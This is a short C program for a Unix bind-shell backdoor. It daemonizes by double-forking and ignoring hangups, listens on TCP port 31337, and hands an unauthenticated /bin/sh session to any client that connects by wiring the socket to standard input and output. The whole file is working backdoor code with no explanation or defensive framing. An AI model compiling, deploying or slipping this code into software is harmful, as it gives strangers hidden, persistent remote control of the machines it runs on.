#define PORT 31337
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

int main ()
{
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1) {
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}